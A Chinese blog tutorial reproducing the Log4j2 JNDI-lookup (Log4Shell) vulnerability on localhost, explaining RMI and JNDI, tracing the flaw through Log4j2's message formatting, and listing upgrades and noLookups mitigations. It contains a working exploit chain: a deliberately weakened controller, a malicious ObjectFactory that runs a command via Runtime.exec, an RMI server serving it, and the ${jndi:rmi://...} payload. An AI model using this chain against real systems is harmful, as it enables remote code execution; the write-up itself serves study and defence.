• log4j2漏洞复现以及解决方案


    一、背景

    其实早就听闻log4j2的这个史诗级漏洞,当时也看了一遍视频,但自己一直都没有实践,这不摸鱼的时候突然发现,自己偶然创建的demo依赖中log4j2日志版本号好像挺老,突然就心血来潮想要复现一下当年的漏洞,尝试知道原理以及如何解决。

    二、复现demo搭建

    受影响版本 :2.x<=2.14.1
    导入依赖:
    当时我是直接是用的spring-boot-starter-log4j2,版本和父项目一致:2.3.0.RELEASE
    父项目依赖:

    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework.bootgroupId>
                <artifactId>spring-boot-dependenciesartifactId>
                <version>2.3.0.RELEASEversion>
                <type>pomtype>
                <scope>importscope>
            dependency>
        dependencies>
    dependencyManagement>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
       <dependency>
                <groupId>org.springframework.bootgroupId>
                <artifactId>spring-boot-starter-webartifactId>
                <exclusions>
                    <exclusion>
                        <groupId>org.springframework.bootgroupId>
                        <artifactId>spring-boot-starter-loggingartifactId>
                    exclusion>
                exclusions>
            dependency>
            <dependency>
                <groupId>org.springframework.bootgroupId>
                <artifactId>spring-boot-starter-log4j2artifactId>
           dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    可以从maven里面看到版本号为2.13.2,是有可能造成漏洞的
    在这里插入图片描述

    2.1、被攻击者代码

    这块代码很正常,在一个非常普通的controller中建一个接口即可:

    package com.mbw.controller;
    
    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    import org.springframework.web.bind.annotation.PostMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    
    @RestController
    public class LearnController {
        private static final Logger logger = LoggerFactory.getLogger(LearnController.class);
    
        @PostMapping("/hack")
        public String testHackExecute(String content){
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            logger.info("应用正常运行中。。。。。。。。。。。。。");
            logger.info("content:{}", content);
            return content;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    大家可能会对下面这行代码感到疑惑

     System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    
    • 1

    ps:jdk1.8.121之后都需要添加上面这行代码,这样就可以执行任意命令了。这个就涉及到JNDI和RMI有关,而这也是我们复现漏洞需要用到的。
    我们需要先了解几个知识点:

    2.1.1.什么是RMI

    RMI:

    远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,比如:CORBA、WebService,这两种都是独立于编程语言的。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。

    通俗来讲,rmi是客户端调用服务器的方法,并在服务端执行后返回结果。与JNDI不同,JNDI注入攻击者是rmi的服务端。JDK1.8.121之前版本rmi本身就有反序列化漏洞。示例如下:
    ①先启动一个本地RMI

    public class MainTest {
        public static void main(String[] args) throws Exception {
    
            // 在本机 1999 端口开启 rmi registry,可以通过 JNDI API 来访问此 rmi registry
            Registry registry = LocateRegistry.createRegistry(1999);
    
            // 创建一个 Reference,第一个参数无所谓,第二个参数指定 Object Factory 的类名:
    
            // 第三个参数是 codebase,表明如果客户端在 classpath 里面找不到
            // jndiinj.EvilObjectFactory,则去 http://localhost:9999/ 下载
    
            // 当然利用的时候这里应该是一个真正的 codebase 的地址
            Reference ref = new Reference("test",
                    "jndiinj.EvilObjectFactory", "http://localhost:9999/");
    
            // 因为只有实现 Remote 接口的对象才能绑定到 rmi registry 里面去
            ReferenceWrapper wrapper = new ReferenceWrapper(ref);
            registry.bind("evil", wrapper);
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    ②连接本地客户端

    public class LookupTest {
        public static void main(String[] args) throws NamingException {
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            Context ctx = new InitialContext();
            // ctx.lookup 参数需要可控
            Object lookup = ctx.lookup("rmi://localhost:1999/evil");
            System.out.println(lookup);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    2.1.2.什么是JNDI

    简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用

    String uri = "rmi://127.0.0.1:1099/aa";
    Context ctx = new InitialContext();
    ctx.lookup(uri);
    
    • 1
    • 2
    • 3

    这是指通过context对象访问远程rmi对象。整个过程如下:

    1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
    2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;
    3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
    4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
    5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

    InitialContext.lookup()调用栈为:

    getURLOrDefaultInitCtx("aa");
    getURLContext("aa");
    RegistryContext.lookup("aa");
    RegistryContext.decodeObject(referenceWrapper,"aa");
    NamingManager.getObjectInstance();
    factory.getObjectInstance(refInfo, name, nameCtx,environment);//创建恶意类对象
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    那么这样其实也就是log4j2触发漏洞的核心原因
    log4j2 官方文档也同样支持 Jndi Lookup
    在这里插入图片描述
    RMI 和 LDAP 是 JND I默认支持自动转换的协议:

    协议名称协议URLContext类
    RMI协议rmi://com.sun.jndi.url.rmi.rmiURLContext
    LDAP协议ldap://com.sun.jndi.url.ldap.ldapURLContext

    2.1.3、为什么Reference要引用一个远程的类

    因为服务端传给客户端的是一个Reference对象,如果这个对象里没有factory和factoryLaction的话只会在客户端本地查找恶意类,但是恶意类是存放在远程的。

    2.2、攻击者代码

    首先我们在本地搭建攻击者代码,当然一般情况下攻击类是在远程的,这里模拟就在本地搭建一个:
    这个黑客要做的事很简单,就是打开一个dos窗口

    package com.mbw.rmi;
    
    
    
    import javax.naming.Context;
    import javax.naming.Name;
    import javax.naming.spi.ObjectFactory;
    import javax.swing.*;
    import java.awt.*;
    import java.io.File;
    import java.io.IOException;
    import java.util.Hashtable;
    
    
    /**
     * 在这里实现了ObjectFactory接口,主要是针对EvilObj类无法转换为ObjectFactory对象,其他Java版本中可能不存在这个问题
     */
    public class EvilObj extends JFrame implements ObjectFactory {
        static {
            System.out.println("JNDI 触发 RMIServer,黑客要开始搞事情了");
            // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
            try {
                Runtime.getRuntime()
                        .exec("cmd.exe /C start", null, new File("c:/"));
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
        /**
         * @param obj         包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
         * @param name        此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
         * @param nameCtx     一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
         * @param environment 创建对象时使用的环境(可能为 null)。
         * @return 对象工厂创建出的对象
         * @throws Exception 对象创建异常
         */
        @Override
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            return null;
        }
    
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44

    然后在本地搭建一个RMI服务器:

    package com.mbw.rmi;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class RmiServer {
    
        public static void main(String... args) {
            try {
                Registry registry = createRegistry(1099);
                System.out.println("Create RMI registry on port 1099");
                registry.bind("evil", createReferenceWrapper("com.mbw.rmi.EvilObj","com.mbw.rmi.EvilObj", "http://127.0.0.1:9090/"));
            } catch (RemoteException | NamingException | AlreadyBoundException e) {
                e.printStackTrace();
            }
        }
    
        /**
         * 监听端口 。
         * @param port .
         * @return .
         * @throws RemoteException .
         */
        private static Registry createRegistry(int port) throws RemoteException {
            LocateRegistry.createRegistry(port);
            return LocateRegistry.getRegistry();
        }
    
        /**
         * 创建一个远程的 JNDI 对象工厂类的引用对象 ,
         * 将其转化为 RMI 引用对象 。
         * @param className .
         * @param factory .
         * @param factoryLocation .
         * @return .
         * @throws RemoteException .
         * @throws NamingException .
         */
        private static ReferenceWrapper createReferenceWrapper(String className, String factory, String factoryLocation) throws RemoteException, NamingException {
            return new ReferenceWrapper(new Reference(className, factory, factoryLocation));
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48

    此时启动RMIServer,然后启动被攻击者服务:
    我们假装黑客使用postman去调用被害者服务:
    在被害者服务代码所需参数content输入${jndi:rmi://127.0.0.1:1099/evil}
    在这里插入图片描述
    可以看到漏洞复现,攻击者执行了被攻击者的代码,这是很可怕的事情。
    在这里插入图片描述

    2.3、log4j2漏洞原因

    Log4j的lookup功能
    本次漏洞是因为Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于log4j-core-xxx.jar中。
    在这里插入图片描述
    log4j的Lookups功能可以快速打印包括运行应用容器的docker属性,环境变量,日志事件,Java应用程序环境信息等内容。比如我们打印Java运行时版本:

    public class VulnerabilityTest {
        private static final Logger LOGGER = LogManager.getLogger();
    
        public static void main(String[] args) {
            LOGGER.error("Test:{}","${java:runtime}");
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    输出:
    在这里插入图片描述
    那么JndiLookup到底有什么设计缺陷导致出现的史诗级漏洞呢?

    我们首先把目标放在org.apache.logging.log4j.core.pattern.MessagePatternConverter#format:

    public void format(final LogEvent event, final StringBuilder toAppendTo) {
            Message msg = event.getMessage();
            if (msg instanceof StringBuilderFormattable) {
                boolean doRender = this.textRenderer != null;
                StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
                int offset = workingBuilder.length();
                if (msg instanceof MultiFormatStringBuilderFormattable) {
                    ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
                } else {
                    ((StringBuilderFormattable)msg).formatTo(workingBuilder);
                }
    
                if (this.config != null && !this.noLookups) {
                    for(int i = offset; i < workingBuilder.length() - 1; ++i) {
                        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                            String value = workingBuilder.substring(offset, workingBuilder.length());
                            workingBuilder.setLength(offset);
                            workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
                        }
                    }
                }
    						 ...
            } else {
    						...
            }
        }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    我们传入的message会通过MessagePatternConverter.format(),判断如果config存在并且noLookups为false(默认为false),然后匹配到KaTeX parse error: Expected '}', got 'EOF' at end of input: …)替换原有的字符串,比如这里的{java:runtime}。

    因为这里没有任何的白名单,那么我们就可以构造任何的字符串,只有符合${就可以。

    继续往下走,来到org.apache.logging.log4j.core.lookup.Interpolator#lookup
    在这里插入图片描述
    我们可以看到处理event的时候根据前缀选择对应的StrLookup进行处理,目前支持date,jndi,java,main等多种类型,如果构造的event是jndi,则通过JndiLoopup进行处理,从而构造漏洞。
    2.4、解决方案
    1.升级版本
    我们可以使用maven helper插件查询log4j2,然后remove掉这些冲突的依赖
    在这里插入图片描述
    最后加上新的依赖,然后reimport就好了:

             <dependency>
                <groupId>org.springframework.bootgroupId>
                <artifactId>spring-boot-starter-log4j2artifactId>
                <exclusions>
                    <exclusion>
                        <artifactId>log4j-coreartifactId>
                        <groupId>org.apache.logging.log4jgroupId>
                    exclusion>
                    <exclusion>
                        <artifactId>log4j-slf4j-implartifactId>
                        <groupId>org.apache.logging.log4jgroupId>
                    exclusion>
                    <exclusion>
                        <artifactId>log4j-apiartifactId>
                        <groupId>org.apache.logging.log4jgroupId>
                    exclusion>
                exclusions>
            dependency>
            
            <dependency>
                <groupId>org.apache.logging.log4jgroupId>
                <artifactId>log4j-apiartifactId>
                <version>2.15.0version>
            dependency>
            <dependency>
                <groupId>org.apache.logging.log4jgroupId>
                <artifactId>log4j-coreartifactId>
                <version>2.15.0version>
                <exclusions>
                    <exclusion>
                        <artifactId>log4j-apiartifactId>
                        <groupId>org.apache.logging.log4jgroupId>
                    exclusion>
                exclusions>
            dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    2.临时方案

    添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
    在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
    JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
    部署使用第三方防火墙产品进行安全防护。

  • 相关阅读:
    揭开ChatGPT面纱(3):使用OpenAI进行文本情感分析(embeddings接口)
    BP神经网络对指纹识别的应用(Matlab代码实现)
    认识数据库
    三、N元语法(N-gram)
    如何正确的万无一失的学习python?
    咖啡│咖啡竟可助眠?一旦飲錯時間隨時影響整天血糖代謝
    地图上必须要有指北针吗?
    Node基础and包管理工具
    回归分析处理
    学数学,要“直觉”还是要“严谨”?
  • 原文地址:https://blog.csdn.net/qq_44754515/article/details/126260799